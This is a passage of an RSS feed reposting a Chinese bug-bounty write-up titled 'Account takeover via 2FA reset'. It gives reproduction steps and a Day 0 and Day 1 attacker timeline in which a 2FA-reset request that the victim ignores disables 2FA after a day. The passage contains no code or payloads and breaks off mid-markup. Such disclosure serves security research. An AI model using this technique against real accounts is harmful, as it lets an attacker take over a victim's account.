href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ca64789c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499586%26idx%3D1%26sn%3D6e282e57f4d714c86ea88b9c2d337840">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 22 Jun 2026 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>重置2FA导致的账户劫持</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499582&amp;idx=1&amp;sn=0ed4bda79730aaaa1155f89157f3428b</link>
      <description>正文复现步骤（Steps to Reproduce）在账户上启用 2FA。登出账户。再次登录。</description>
      <content:encoded><![CDATA[<p>原创 <span>h1</span> <span>2026-06-19 12:00</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4fb105a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7xtecWUgCRz136mJGK7sAhkCx1qicba0ukOzOIMnmOZbP2SpnRPPZ9DJdDN3gxc36AyFU9DEwjgC485pTlzDfeaezvQk9OUCbj7cykRJkAGc%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 data-cacheurl="" data-pm-slice="0 0 []" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=c49c71a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7xtecWUgCRyibQogL6sxNz2LTOMwDSg2uO2sFDc7tpV8DaQEdGZRVaKcQ5D2bVu1wTq7iayLCyMwWC5Rib6SVrGSsW150Mb4IqhLib0g4EEnFlo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">正文</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">复现步骤（Steps to Reproduce）</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在账户上启用 2FA。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">登出账户。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">再次登录。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不输入 TOTP（动态验证码）。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">点击：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“Reset two-factor authentication”</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">点击确认。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不对收到的邮件进行任何操作。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一天后重新登录。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">观察：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">你可以成功登录，因为 2FA 已被禁用。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击流程：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击者已知：</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">email + password</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不知道：</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">TOTP</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">于是：</span></p><h3 style=" box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span style=" box-sizing: border-box;cursor: pointer;font-size: 16px;color: rgb(72, 179, 120);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px 0px 0px 8px;overflow: unset;padding: 0px; text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">Day 0</span></span></h3><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击者：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">点击：</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">Reset 2FA</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">系统发送：</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">“Click here to cancel”</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">邮件给受害者。</span></p><h3 style=" box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span style=" box-sizing: border-box;cursor: pointer;font-size: 16px;color: rgb(72, 179, 120);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px 0px 0px 8px;overflow: unset;padding: 0px; text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">Day 1</span></span></h3><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果受害者：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">没看到邮件</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">忽略邮件</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 vacation</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">邮件进垃圾箱</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">则：</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">2FA disabled</span></code></pre><h3 style=" box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span style=" box-sizing: border-box;cursor: pointer;font-size: 16px;color: rgb(72, 179, 120);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px 0px 0px 